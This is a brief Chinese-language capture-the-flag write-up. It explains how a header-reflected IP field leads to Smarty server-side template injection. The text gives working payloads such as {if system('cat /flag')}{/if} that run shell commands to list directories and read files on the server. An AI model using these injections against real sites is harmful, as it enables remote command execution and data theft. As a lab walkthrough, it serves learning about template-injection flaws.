知识点:X-Forwarded-For
X-Forwarded-For:
用来表示 HTTP 请求端真实 IP
解题:
点击flag,显示一个ip
hint内提醒我们要在ip处出手
这就想到用X-Forwarded-For,可以看到不管我们输入什么都会回显,盲猜ssti注入
输入{config}看看配置,是smarty
看看版本{$smarty.version},上网找它特点呗
也就是if是配对用的if和/if,且if内可以运行php代码
{if system(“ls”)}{/if},这里的flag.php是假的,要查根目录下的
{if system(“ls /”)}{/if}
{if system(“cat /flag”)}{/if}
还有一种表达就是直接{system(“ls”)}